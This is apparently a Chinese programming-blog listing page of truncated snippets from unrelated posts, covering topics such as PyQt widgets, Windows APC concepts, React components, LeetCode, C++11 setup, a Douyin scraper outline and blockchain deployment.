文章目录 QWidget简介QWidget大小位置操作案例一案例二 QWidget尺寸限定操作案例 内容边距案例 QWidget简介 在PyQt中&#xff0c;QWidget是一个基本的用户界面类&#xff0c;用于创建可见的窗口组件。QWidget可以包含多种类型的子组件&#xff0c;如QPushButton、QLabel、QLi…...

APC学习记录

文章目录 APC概念APC插入、执行过程逆向分析插入过程执行过程总结 代码演示参考资料 APC概念 APC全称叫做异步过程调用&#xff0c;英文名是 Asynchronous Procedure Call&#xff0c;在进行系统调用、线程切换、中断、异常时会进行触发执行的一段代码&#xff0c;其中主要分为…...

前端将图片储存table表格中,页面回显

<el-table :data"tableData" v-loading"loading" style"width: 100%" height"calc(100vh - 270px)" :size"tableSize"row-dblclick"enterClick"><el-table-column prop"name" label"文档…...

[论文阅读]Ghost-free High Dynamic Range Imaging with Context-aware Transformer

多帧高动态范围成像&#xff08;High Dynamic Range Imaging, HDRI/HDR&#xff09;旨在通过合并多幅不同曝光程度下的低动态范围图像&#xff0c;生成具有更宽动态范围和更逼真细节的图像。如果这些低动态范围图像完全对齐&#xff0c;则可以很好地融合为HDR图像&#xff0c;但…...

react高阶成分(HOC)例子效果

使用React函数式组件写了一个身份验证的一个功能&#xff0c;示例通过高阶组件实现的一个效果展示&#xff1a; import React, { useState, useEffect } from react;// 定义一个高阶组件&#xff0c;它接受一个组件作为输入&#xff0c;并返回一个新的包装组件 const withAuth…...

【24种设计模式】工厂模式(Factory Pattern)

工厂模式是一种创建型设计模式&#xff0c;它提供了一种创建对象的方式&#xff0c;而无需暴露对象创建的逻辑。在这篇博客中&#xff0c;我们将介绍工厂模式的概念、使用场景以及示例代码。 概念 工厂模式是一种创建型设计模式&#xff0c;它提供了一种创建对象的方式&#…...

树——对称二叉树

leetcode题目地址 树为空树&#xff0c;亦为对称二叉树树非空时&#xff0c;仅需判断其左右子树是否对称判断左右子树对称 (1) 左右子树是否为空&#xff0c;有一个为空 便不对称&#xff0c; 都为空或都不为空 可能对称 (2) 左右子树根节点值是否相同 (3) 判断 左子树 的 左子…...

拉扎维模拟CMOS集成电路设计西交张鸿老师课程P10~13视频学习记录

--------------------------------------------------------------------------------------------------------------------------------- p10 短沟道&#xff0c;除了沟长调&#xff0c;还可能出现速度饱和问题&#xff1b; 但是在拉扎维这本书里面没有考虑这个问题&#…...

3.线性神经网络

#pic_center R 1 R_1 R1​ R 2 R^2 R2 目录 知识框架No.1 线性回归基础优化算法一、线性回归1、买房案例2、买房模型简化3、线性模型4、神经网络5、损失函数6、训练数据7、参数学习8、显示解9、总结 二、 基础优化算法1、梯度下降2、学习率3、小批量随机梯度下降4、批量大小5、…...

python常用内置函数的介绍和使用

Python具有丰富的内置函数&#xff0c;这些函数是Python语言提供的基础功能。以下是一些常用的内置函数的介绍和使用&#xff1a; print(): 打印输出指定的内容到屏幕。 print("Hello, World!") len(): 返回给定对象的长度或元素个数。 s "Hello, World!"…...

2023辽宁省赛E

Solution 题目大致分为三个步骤 计算 P ( S ) P(S) P(S)证明删除区间连续且找到最值位置根据最值位置求出答案 接下来过程中不合法的组合数都默认为 0 0 0 第 1 步 - 求出总值 考虑 S m { 1 , 2 , ⋯ , m } S_m \{1, 2, \cdots, m\} Sm​{1,2,⋯,m} , 则有 $P(S_{n2}…...

visual studio 启用C++11

用C11取决于你所使用的编译器和开发环境。以下是一些常见的编译器和相应的启用C11的方法&#xff1a; GCC (GNU Compiler Collection): 对于 GCC&#xff0c;你可以在编译时使用 -stdc11 或更高的标志来启用C11支持。例如&#xff1a; g -stdc11 yourfile.cpp -o yourprogramCl…...

获取某个抖音用户的视频列表信息

思路 确定url确定并获取相关参数构造header发送请求解析数据输出数据 运行结果 代码 import requests # 获取某个用户的的视频信息&#xff0c;截至20231028&#xff0c;程序可以正常运行。 # 构造请求头header headers {User-Agent:..........................,Cookie:...…...

【C语言】strcpy()函数(字符串拷贝函数详解)

&#x1f984;个人主页:修修修也 &#x1f38f;所属专栏:C语言 ⚙️操作环境:Visual Studio 2022 目录 一.strcpy()函数简介 1.函数功能 2.函数参数 1>.char * destination 2>.const char * source 3.函数返回值 4.函数头文件 二.strcpy()函数的具体使用 1.使用s…...

机器学习之IV编码,分箱WOE编码

IV的概念与作用 全称是Information Value&#xff0c;中文的意思是信息价值&#xff0c;或者信息量作用&#xff1a; 1、构建分类模型时&#xff0c;经常需要对特征进行筛选。 2、挑选特征的过程考虑的因素比较多&#xff0c;最主要和最直接的衡量标准是特征的预测能力&#…...

区块链技术与应用 【全国职业院校技能大赛国赛题目解析】第六套区块链系统部署与运维

第六套区块链系统部署与运维题目 环境 : ubuntu20 fisco : 2.8.0 子任务1-2-1: 搭建区块链系统并验证 题意: P2P起始端口 30500 channel起始端口 20500 JSONRPC 8945 使用Docker配置 使用 build_chain.sh 文件 进行生成节点文件 root@192-168-19-133:/yijiu/mode6# bas…...